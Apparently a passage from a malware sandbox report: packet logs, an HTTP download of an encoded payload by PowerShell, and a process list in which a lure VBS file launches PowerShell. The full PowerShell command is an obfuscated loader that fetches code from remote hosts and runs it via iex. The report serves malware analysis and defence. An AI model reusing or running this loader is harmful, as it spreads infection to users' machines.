Jul 3, 2024 08:45:35.770714045 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770725012 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770734072 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770739079 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770751953 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770757914 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770762920 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770783901 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770838022 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770875931 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770878077 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770920992 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770931959 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770942926 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770960093 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770978928 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771022081 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771033049 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771043062 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771054983 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771069050 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771085024 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771176100 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771188021 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771198988 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771209955 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771219969 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771233082 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771234989 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771255016 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771270037 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771328926 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771338940 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771349907 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771374941 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771447897 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771459103 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771469116 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771478891 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771495104 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771518946 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771572113 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771584034 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771595001 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771605968 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771605968 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771619081 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771636963 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771658897 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771713018 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771723986 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771733999 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.771759033 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.771990061 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772001028 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772017956 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772028923 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772032022 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.772041082 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772051096 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.772052050 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772063971 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772078991 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.772099972 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.772310019 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772321939 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772341013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772356987 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.772372007 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.772403002 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.855747938 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.855781078 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.855848074 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.017674923 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017719984 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017729998 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017740965 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017751932 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017761946 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017771959 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017812967 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.017828941 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017849922 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017853975 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.017868042 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017874956 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.017879963 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017891884 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.017903090 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.017945051 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018045902 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018105984 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018115997 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018126965 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018136978 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018146992 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018155098 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018157959 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018170118 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018188000 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018204927 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018362045 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018372059 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018382072 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018392086 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018402100 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018419027 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018426895 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018443108 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018444061 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018454075 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018464088 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018465042 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018475056 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018485069 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018495083 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018495083 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018507004 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018516064 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.018527985 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.018558979 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:36.108598948 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:36.154489994 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:47:16.160473108 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:47:16.165985107 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:47:16.166104078 CEST	49731	80	192.168.2.4	103.195.237.43

HTTP Request Dependency Graph

103.195.237.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	103.195.237.43	80	7456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 08:45:32.528959036 CEST	179	OUT	GET /Magnetiseringerne.sea HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 103.195.237.43 Connection: Keep-Alive
Jul 3, 2024 08:45:33.493848085 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 03 Jul 2024 00:27:17 GMT Accept-Ranges: bytes ETag: "8bb567c2dfccda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 03 Jul 2024 06:45:32 GMT Content-Length: 525760 Data Raw: 6d 39 76 6a 5a 67 2f 56 77 4f 74 58 56 4c 76 54 56 41 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 34 47 31 41 41 41 41 5a 67 2f 36 39 39 6e 30 36 30 30 4b 70 49 78 4a 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 70 74 6d 44 33 50 7a 37 47 59 50 2b 74 66 72 56 4c 32 4c 34 53 44 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 [TRUNCATED] Data Ascii: m9vjZg/VwOtXVLvTVA0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0ND4G1AAAAZg/699n0600KpIxJqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqptmD3Pz7GYP+tfrVL2L4SDX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX12YPY8nZ0OtXAF+3WXp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6D4GqAAAA2Mzd0OtTgiR3S/Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fGbD+Lo2fLrSVlHzXaampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampoP1fLdwetTE3vBexgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBhmD2HcZg9z8+vrR5nHf14MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMu31QFwDZ+t3h60RNO59pkJCQkJ
Jul 3, 2024 08:45:33.493865967 CEST	224	IN	Data Raw: 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4f 6d 7a Data Ascii: CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkOmzAAAAD+/l85DrRrwWCi+Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4voU2YP/ecPdNfrW0/vBhxaWlpaWlpaWlpaWl
Jul 3, 2024 08:45:33.493879080 CEST	1236	IN	Data Raw: 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 57 6c 70 61 Data Ascii: paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlrZ4Nj361HjNpVQn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5/psQAAAGYPbvHZ0Ota8woNBXR0d
Jul 3, 2024 08:45:33.493890047 CEST	1236	IN	Data Raw: 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 6f 61 47 68 75 55 52 47 6e 77 7a 64 31 74 37 37 36 30 65 66 4c 4c 59 4a 59 32 4e 6a 59 32 4e 6a Data Ascii: GhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhuURGnwzd1t7760efLLYJY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY+nCAAAAZg/h8Nno61WuzZAjExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTE
Jul 3, 2024 08:45:33.493906975 CEST	1236	IN	Data Raw: 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 4f 44 67 34 44 2f 6a 56 44 32 72 6e 36 7a 2f 78 66 6e 64 43 58 6c 35 65 58 6c 35 65 Data Ascii: g4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4D/jVD2rn6z/xfndCXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl4Pgb4AAAAPY9UP1fnrWGe/nWC3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t
Jul 3, 2024 08:45:33.493917942 CEST	672	IN	Data Raw: 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 5a 36 4e 6e 35 36 30 4f 58 65 4c 38 44 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 71 36 75 72 Data Ascii: zc3Nzc3Nzc3Nzc3NzZ6Nn560OXeL8Dq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6ur6bIAAABmD+LWD3PxyOtdOKSAPKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
Jul 3, 2024 08:45:33.745811939 CEST	1236	IN	Data Raw: 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 67 2f 63 32 57 59 50 39 63 50 72 56 39 68 6f 72 41 70 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c 5a 57 56 6c Data Ascii: 4+Pj4+Pj4+Pj4+Pj4+Pg/c2WYP9cPrV9horAplZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZbpt1dQz2elmD2nC60yG8oIyAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBA
Jul 3, 2024 08:45:33.745830059 CEST	1236	IN	Data Raw: 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 47 78 73 62 45 50 64 50 5a 6d 44 32 72 55 36 31 42 68 2f 66 59 56 39 76 62 32 39 76 62 32 39 76 62 32 Data Ascii: GxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbGxsbEPdPZmD2rU61Bh/fYV9vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29umrAAAA2fBmD9zO61lalplAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMz
Jul 3, 2024 08:45:33.745840073 CEST	1236	IN	Data Raw: 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 50 44 77 38 Data Ascii: w8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8iRQLm9viZg/VwetGlqe6ILq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6ug+BtAAAAN7G2e7rVM4bsmhqampqampqampqampqampqampqa
Jul 3, 2024 08:45:33.745851040 CEST	672	IN	Data Raw: 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 34 2b 50 6a 77 2f 64 2b 74 6e 6c 36 7a 37 35 42 63 31 69 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 74 72 61 32 Data Ascii: +Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pjw/d+tnl6z75Bc1itra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tum2AAAAZg9pyw/64+tNnC5mEVJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlLru
Jul 3, 2024 08:45:33.745996952 CEST	1236	IN	Data Raw: 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4e 44 51 30 4d 6c 6c 49 66 2f 32 50 58 72 58 5a 5a 59 6c 6a 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 77 63 48 42 Data Ascii: NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0MllIf/2PXrXZZYljHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwWYP/eab2+LrSFGo50C1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1t

Target ID:	0
Start time:	02:45:26
Start date:	03/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs"
Imagebase:	0x7ff7d40c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:45:28
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') 